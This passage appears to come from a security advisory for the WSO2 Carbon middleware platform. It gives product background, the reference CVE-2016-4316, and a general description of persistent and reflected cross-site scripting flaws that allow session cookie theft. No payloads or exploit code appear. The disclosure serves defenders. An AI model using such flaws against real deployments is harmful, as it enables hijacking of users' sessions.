It is based on Java OSGi technology, which allows components to be dynamically installed, started, stopped, updated, and uninstalled, and it eliminates component version conflicts. In Carbon, this capability translates into a solid core of common middleware enterprise components, including clustering, security, logging, and monitoring, plus the ability to add components for specific features needed to solve a specific enterprise scenario. Vulnerability Type: =========================== Persistent / Reflected Cross Site Scripting (XSS) - Cookie Disclosure CVE Reference: ============== CVE-2016-4316 Vulnerability Details: ===================== WSo2 Carbon has multiple XSS vectors allowing attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy, stealing session cookies and used as a platform for further attacks on the system.
